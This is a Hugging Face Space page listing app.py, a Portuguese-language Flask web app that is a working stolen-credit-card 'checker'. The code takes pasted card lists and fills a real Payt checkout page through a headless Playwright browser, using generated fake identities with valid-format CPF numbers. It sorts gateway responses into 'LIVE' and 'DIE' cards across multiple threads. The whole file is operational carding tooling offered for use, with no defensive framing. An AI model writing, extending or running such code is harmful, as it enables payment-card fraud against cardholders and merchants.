Download app.py from Cauanne/Checkerv5: direct link, hf CLI and curl.
- Browser
- Download file 16.9 kB
-
https://huggingface.co/spaces/Cauanne/Checkerv5/resolve/main/app.py
- Command line
-
hf download hf://spaces/Cauanne/Checkerv5/app.py
-
curl -L -o app.py https://huggingface.co/spaces/Cauanne/Checkerv5/resolve/main/app.py
16.9 kB
| from flask import Flask, render_template, request, jsonify | |
| from flask_socketio import SocketIO, emit | |
| from playwright.sync_api import sync_playwright | |
| import random | |
| import time | |
| import os | |
| import re | |
| import requests | |
| from datetime import datetime | |
| import threading | |
| app = Flask(__name__, template_folder='templates', static_folder='static') | |
| app.config['SECRET_KEY'] = 'supersecret!' | |
| socketio = SocketIO(app, cors_allowed_origins="*") | |
| # --- Classe PaytChecker adaptada para a web --- | |
| class cores: | |
| VERDE = '\033[92m' | |
| VERMELHO = '\033[91m' | |
| AZUL = '\033[94m' | |
| AMARELO = '\033[93m' | |
| RESET = '\033[0m' | |
| class PaytChecker: | |
| def __init__(self, sid=None): | |
| self.HEADLESS = True # Sempre headless em ambiente de servidor | |
| self.BASE_URL = "https://checkout.payt.com.br/35a53eba9befcf53a42be3f0b22a39c2" | |
| self.lives = 0 | |
| self.dies = 0 | |
| self.errors = 0 | |
| self.total_checked = 0 | |
| self.stop_flag = False | |
| self.sid = sid # Para enviar mensagens para um cliente específico | |
| self.provedores_email = ["@gmail.com", "@outlook.com", "@hotmail.com", "@yahoo.com.br"] | |
| def emit_to_client(self, event, data): | |
| if self.sid: | |
| socketio.emit(event, data, room=self.sid) | |
| else: | |
| print(f"[SERVER] {event}: {data}") | |
| def gerar_cpf_valido(self): | |
| while True: | |
| cpf = [random.randint(0, 9) for _ in range(9)] | |
| soma = sum((i + 2) * cpf[8 - i] for i in range(9)) | |
| digito1 = 11 - (soma % 11) | |
| if digito1 >= 10: digito1 = 0 | |
| cpf.append(digito1) | |
| soma = sum((i + 2) * cpf[9 - i] for i in range(10)) | |
| digito2 = 11 - (soma % 11) | |
| if digito2 >= 10: digito2 = 0 | |
| cpf.append(digito2) | |
| cpf_str = ''.join(str(d) for d in cpf) | |
| if cpf_str not in ['00000000000', '11111111111', '22222222222', '33333333333', | |
| '44444444444', '55555555555', '66644444444', '77777777777', | |
| '88888888888', '99999999999']: | |
| return cpf_str | |
| def gerar_dados_aleatorios(self): | |
| primeiros = ["Joao", "Maria", "Jose", "Ana", "Carlos", "Juliana", "Pedro", "Fernanda"] | |
| sobrenomes = ["Silva", "Santos", "Oliveira", "Souza", "Rodrigues", "Ferreira", "Alves", "Lima"] | |
| nome = f"{random.choice(primeiros)} {random.choice(sobrenomes)}" | |
| cpf = self.gerar_cpf_valido() | |
| nome_email = nome.split()[0].lower() | |
| nome_email = re.sub(r'[^a-z]', '', nome_email) | |
| email = f"{nome_email}{random.randint(1, 99999)}{random.choice(self.provedores_email)}" | |
| telefone = f"{random.randint(11, 99)}{random.randint(900000000, 999999999)}" | |
| return { | |
| 'nome': nome, | |
| 'nome_cartao': nome.upper(), | |
| 'cpf': cpf, | |
| 'email': email, | |
| 'telefone': telefone | |
| } | |
| def gerar_dados_4devs(self): | |
| try: | |
| url = 'https://www.4devs.com.br/ferramentas_online.php' | |
| payload = { | |
| 'acao': 'gerar_pessoa', | |
| 'sexo': 'I', | |
| 'pontuacao': 'S', | |
| 'idade': '0', | |
| 'cep_estado': '', | |
| 'txt_qtde': '1', | |
| 'cep_cidade': '' | |
| } | |
| headers = { | |
| 'Accept': '*/*', | |
| 'Accept-Language': 'pt-BR,pt;q=0.9', | |
| 'Content-Type': 'application/x-www-form-urlencoded', | |
| 'Origin': 'https://www.4devs.com.br', | |
| 'Referer': 'https://www.4devs.com.br/gerador_de_pessoas', | |
| 'User-Agent': 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/146.0.0.0 Safari/537.36' | |
| } | |
| response = requests.post(url, data=payload, headers=headers, timeout=10) | |
| response.raise_for_status() | |
| dados_json = response.json() | |
| nome = dados_json.get('nome', '') | |
| cpf = dados_json.get('cpf', '') | |
| email = dados_json.get('email', '') | |
| telefone = dados_json.get('telefone', '') | |
| if nome and cpf and email and telefone: | |
| self.emit_to_client('log', {'type': 'info', 'badge': '4DEVS', 'msg': f'Dados reais obtidos: {nome} | {cpf}'}) | |
| return { | |
| 'nome': nome, | |
| 'nome_cartao': nome.upper(), | |
| 'cpf': cpf, | |
| 'email': email, | |
| 'telefone': telefone | |
| } | |
| else: | |
| raise ValueError("Dados incompletos retornados pela API") | |
| except Exception as e: | |
| self.emit_to_client('log', {'type': 'warn', 'badge': '4DEVS', 'msg': f'Falha ao obter dados reais: {e}. Usando fallback aleatório.'}) | |
| return self.gerar_dados_aleatorios() | |
| def preencher_campos(self, page, dados, numero, mes, ano, cvv): | |
| page.fill('#full_name', dados['nome']) | |
| page.fill('#email', dados['email']) | |
| page.fill('#phone', dados['telefone']) | |
| page.fill('#cpf_cnpj', dados['cpf']) | |
| page.evaluate("window.scrollBy(0, 400)") | |
| time.sleep(0.3) | |
| page.fill('#cardNumber', numero) | |
| page.fill('#cardName', dados['nome_cartao']) | |
| page.fill('#cardDueDate', f"{mes}{ano}") | |
| page.fill('#cardCvv', cvv) | |
| page.evaluate("window.scrollBy(0, 200)") | |
| time.sleep(0.3) | |
| def clicar_botao(self, page): | |
| time.sleep(0.5) | |
| seletores = ['button:has-text("Confirmar Pagamento")', 'button:has-text("Confirmar")', | |
| 'button[type="submit"]', '.btn-primary'] | |
| for seletor in seletores: | |
| try: | |
| if page.locator(seletor).count() > 0: | |
| btn = page.locator(seletor).first | |
| if btn.is_visible(): | |
| btn.scroll_into_view_if_needed() | |
| btn.click(force=True) | |
| return True | |
| except: continue | |
| return False | |
| def classificar_retorno(self, mensagem): | |
| termos_live = [ | |
| "Sua compra ainda não foi finalizada", | |
| "Saldo insuficiente, aumente seu limite e realize a compra.", | |
| "Não pudemos processar seu pagamento, entre em contato com o suporte.", | |
| "Verifique os dados do seu cartão e tente novamente" | |
| ] | |
| termos_die = [ | |
| "Revise os dados do cartão e tente novamente.", | |
| "Não conseguimos processar seu pagamento, tente novamente mais tarde." | |
| ] | |
| for termo in termos_live: | |
| if termo.lower() in mensagem.lower(): | |
| return "LIVE" | |
| for termo in termos_die: | |
| if termo.lower() in mensagem.lower(): | |
| return "DIE" | |
| return "DIE" | |
| def capturar_retorno(self, page): | |
| time.sleep(2) | |
| for tentativa in range(60): | |
| if self.stop_flag: return "STOPPED", "Processamento interrompido" | |
| time.sleep(1) | |
| url = page.url | |
| if "obrigado" in url or "success" in url: | |
| return "LIVE", "Pagamento aprovado com sucesso!" | |
| try: | |
| msg = page.locator('//*[@id="app"]/nav/div/p') | |
| if msg.count() > 0: | |
| texto = msg.first.text_content() | |
| if texto and len(texto.strip()) > 5: | |
| texto_completo = texto.strip() | |
| resultado = self.classificar_retorno(texto_completo) | |
| return resultado, texto_completo | |
| except: pass | |
| try: | |
| container = page.locator('//*[@id="app"]/nav/div') | |
| if container.count() > 0: | |
| texto = container.first.text_content() | |
| if texto and len(texto.strip()) > 5: | |
| texto = re.sub(r'Algo deu errado|Atualizar|Confirmar|Continuar|Parcelas|Voltar', '', texto) | |
| texto_completo = ' '.join(texto.split()) | |
| if len(texto_completo) > 5: | |
| resultado = self.classificar_retorno(texto_completo) | |
| return resultado, texto_completo | |
| except: pass | |
| try: | |
| body = page.locator('body').text_content() | |
| mensagens = [ | |
| "Sua compra ainda não foi finalizada", | |
| "Saldo insuficiente, aumente seu limite e realize a compra.", | |
| "Não pudemos processar seu pagamento, entre em contato com o suporte.", | |
| "Verifique os dados do seu cartão e tente novamente", | |
| "Revise os dados do cartão e tente novamente.", | |
| "Não conseguimos processar seu pagamento, tente novamente mais tarde." | |
| ] | |
| for msg in mensagens: | |
| if msg.lower() in body.lower(): | |
| resultado = self.classificar_retorno(msg) | |
| return resultado, msg | |
| except: pass | |
| if (tentativa + 1) % 10 == 0: | |
| self.emit_to_client('log', {'type': 'info', 'badge': 'WAIT', 'msg': f'Aguardando... {tentativa+1}/60'}) | |
| return "DIE", "Timeout - Sem resposta da gateway" | |
| def testar_cartao(self, cartao, i, total, thread_id): | |
| if self.stop_flag: return | |
| partes = cartao.split('|') | |
| if len(partes) != 4: | |
| self.errors += 1 | |
| self.total_checked += 1 | |
| self.emit_to_client('log', {'type': 'erro', 'badge': 'FORMAT', 'card': cartao, 'msg': 'Formato de cartão inválido', 'slot': thread_id}) | |
| self.update_stats(total) | |
| return | |
| numero, mes, ano, cvv = partes | |
| ano = ano[-2:] if len(ano) == 4 else ano | |
| dados = self.gerar_dados_4devs() | |
| inicio = time.time() | |
| try: | |
| with sync_playwright() as p: | |
| browser = p.chromium.launch(headless=self.HEADLESS, args=['--no-sandbox', '--disable-setuid-sandbox']) | |
| context = browser.new_context(viewport={'width': 1366, 'height': 768}) | |
| page = context.new_page() | |
| self.emit_to_client('thread_status', {'id': thread_id, 'status': 'active', 'card': cartao}) | |
| page.goto(self.BASE_URL, wait_until='domcontentloaded') | |
| time.sleep(1.5) | |
| self.preencher_campos(page, dados, numero, mes, ano, cvv) | |
| if not self.clicar_botao(page): | |
| self.errors += 1 | |
| self.total_checked += 1 | |
| self.emit_to_client('log', {'type': 'erro', 'badge': 'CLICK', 'card': cartao, 'msg': 'Não foi possível clicar no botão de pagamento', 'slot': thread_id}) | |
| self.emit_to_client('thread_status', {'id': thread_id, 'status': 'done-err', 'card': cartao}) | |
| self.update_stats(total) | |
| browser.close() | |
| return | |
| status, mensagem = self.capturar_retorno(page) | |
| segundos = round(time.time() - inicio, 1) | |
| if status == "LIVE": | |
| self.lives += 1 | |
| self.emit_to_client('log', {'type': 'live', 'badge': 'LIVE', 'card': cartao, 'msg': mensagem, 'slot': thread_id, 'tempo': segundos}) | |
| self.emit_to_client('live_card', {'card': cartao, 'msg': mensagem, 'tempo': segundos}) | |
| self.emit_to_client('thread_status', {'id': thread_id, 'status': 'done-live', 'card': cartao}) | |
| elif status == "DIE": | |
| self.dies += 1 | |
| self.emit_to_client('log', {'type': 'die', 'badge': 'DIE', 'card': cartao, 'msg': mensagem, 'slot': thread_id, 'tempo': segundos}) | |
| self.emit_to_client('thread_status', {'id': thread_id, 'status': 'done-die', 'card': cartao}) | |
| elif status == "STOPPED": | |
| self.emit_to_client('log', {'type': 'info', 'badge': 'STOP', 'card': cartao, 'msg': mensagem, 'slot': thread_id, 'tempo': segundos}) | |
| self.emit_to_client('thread_status', {'id': thread_id, 'status': 'idle', 'card': cartao}) | |
| browser.close() | |
| return | |
| browser.close() | |
| except Exception as e: | |
| self.errors += 1 | |
| self.emit_to_client('log', {'type': 'erro', 'badge': 'ERROR', 'card': cartao, 'msg': f'Erro inesperado: {e}', 'slot': thread_id}) | |
| self.emit_to_client('thread_status', {'id': thread_id, 'status': 'done-err', 'card': cartao}) | |
| finally: | |
| self.total_checked += 1 | |
| self.update_stats(total) | |
| def update_stats(self, total_cards): | |
| self.emit_to_client('update_stats', { | |
| 'lives': self.lives, | |
| 'dies': self.dies, | |
| 'errors': self.errors, | |
| 'total': total_cards, | |
| 'checked': self.total_checked | |
| }) | |
| if self.total_checked == total_cards: | |
| self.emit_to_client('process_complete', {'lives': self.lives, 'dies': self.dies, 'errors': self.errors}) | |
| self.emit_to_client('set_ui', {'on': False}) | |
| # --- Rotas Flask e Socket.IO --- | |
| def index(): | |
| return render_template('index.html') | |
| processing_threads = [] | |
| stop_event = threading.Event() | |
| def test_connect(): | |
| print(f'Client connected: {request.sid}') | |
| emit('my response', {'data': 'Connected'}) # Pode ser removido se não for usado | |
| def test_disconnect(): | |
| print(f'Client disconnected: {request.sid}') | |
| def start_process(data): | |
| global processing_threads | |
| global stop_event | |
| if processing_threads and any(t.is_alive() for t in processing_threads): | |
| emit('log', {'type': 'warn', 'badge': 'SERVER', 'msg': 'Processo já em execução.'}) | |
| return | |
| cards_raw = data['cards'] | |
| num_threads = int(data['threads']) | |
| client_sid = request.sid | |
| cards = [line.strip() for line in cards_raw.split('\n') if line.strip() and '|' in line.strip()] | |
| total_cards = len(cards) | |
| if not cards: | |
| emit('log', {'type': 'erro', 'badge': 'SERVER', 'msg': 'Nenhum cartão válido fornecido.'}) | |
| emit('set_ui', {'on': False}) | |
| return | |
| emit('set_ui', {'on': True}) | |
| emit('log', {'type': 'info', 'badge': 'SERVER', 'msg': f'Iniciando processamento de {total_cards} cartões com {num_threads} threads.'}) | |
| emit('update_stats', {'lives': 0, 'dies': 0, 'errors': 0, 'total': total_cards, 'checked': 0}) | |
| checker = PaytChecker(sid=client_sid) | |
| stop_event.clear() # Limpa o evento de parada para um novo processamento | |
| processing_threads = [] | |
| cards_per_thread = (total_cards + num_threads - 1) // num_threads | |
| def worker(cards_chunk, thread_id, total_cards_overall): | |
| for i, card in enumerate(cards_chunk): | |
| if stop_event.is_set(): | |
| checker.emit_to_client('log', {'type': 'info', 'badge': 'THREAD', 'msg': f'Thread {thread_id+1} interrompida.', 'slot': thread_id}) | |
| break | |
| checker.testar_cartao(card, checker.total_checked + 1, total_cards_overall, thread_id) | |
| time.sleep(0.5) # Pequeno delay entre os cartões para evitar sobrecarga | |
| checker.emit_to_client('thread_status', {'id': thread_id, 'status': 'idle', 'card': ''}) | |
| for i in range(num_threads): | |
| start_idx = i * cards_per_thread | |
| end_idx = min((i + 1) * cards_per_thread, total_cards) | |
| chunk = cards[start_idx:end_idx] | |
| if chunk: | |
| thread = threading.Thread(target=worker, args=(chunk, i, total_cards)) | |
| processing_threads.append(thread) | |
| thread.start() | |
| def stop_process(): | |
| global stop_event | |
| stop_event.set() # Sinaliza para as threads pararem | |
| emit('log', {'type': 'warn', 'badge': 'SERVER', 'msg': 'Sinal de parada enviado. Aguardando threads finalizarem...'}) | |
| emit('set_ui', {'on': False}) | |
| def download_lives(): | |
| # Implementar a lógica de download de lives, se necessário | |
| # Por enquanto, retorna um arquivo vazio ou uma mensagem de erro | |
| return "Funcionalidade de download de lives não implementada ainda.", 501 | |
| if __name__ == '__main__': | |
| # Porta 7860 é obrigatória para o Hugging Face Spaces | |
| socketio.run(app, host='0.0.0.0', port=7860, allow_unsafe_werkzeug=True) | |